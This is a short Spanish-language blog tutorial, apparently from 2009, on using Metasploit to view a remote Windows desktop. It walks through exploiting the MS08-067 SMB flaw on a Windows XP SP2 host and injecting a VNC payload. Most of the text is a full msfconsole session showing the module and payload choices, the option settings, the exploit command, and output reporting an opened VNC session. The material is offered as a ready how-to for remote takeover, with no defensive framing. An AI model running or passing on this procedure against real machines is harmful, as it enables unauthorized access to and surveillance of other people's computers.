Vista del Escritorio Remoto con VNC
[Metasploit By: Shell Root]
[Metasploit By: Shell Root]
Una de las muchas herramientas que trae integrada el Metasploit aparte de la que ya hemos visto (keyylogger & Screenshot). Tambien podemos conectarnos con VNC para ver el Escritorio Remoto. Aquí veremos el uso de esté servicio del Metasploit.
Primero ingresaremos a la P.C con el exploit:
* exploit/windows/smb/ms08_067_netapi
y con el PAYLOAD:
* windows/vncinject/bind_tcp
Código:
888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888
=[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
=[ svn r7808 updated 9 days hago (2009.12.10)
Warning: This copy of the Metasploit Framework was last updated 9 days hago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
http://dev.metasploit.com/redmine/projects/framework/wiki/Updating
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/bind_tcp
PAYLOAD => windows/vncinject/bind_tcp
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.0.3 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/vncinject/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTOVNC true yes Automatically launch VNC viewer if present
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST 192.168.0.3 no The target address
VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
VNCPORT 5900 yes The local port to use for the VNC proxy
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (197120 bytes)
[*] VNC Server session 1 opened (192.168.0.2:2128 -> 192.168.0.3:4444)
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
[-] Exploit failed: Bad file descriptor
[*] Exploit completed, but no session was created.
msf exploit(ms08_067_netapi) > VNC Viewer Free Edition - VNC Viewer Free Edition for Win32, Version 4.1.3
Built on Oct 15 2008 at 17:04:00
Copyright © RealVNC Ltd. 2002-2008
[*] VNC Server session 1 closed.
Con ayuda del PAYLOAD windows/vncinject/bind_tcp podemos ejecutar el VNC y ver el escritorio remoto.
Imagen:
By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/vista-del-escritorio-remoto-con-vnc.html
Video: http://www.youtube.com/watch?v=k30889rxcOQ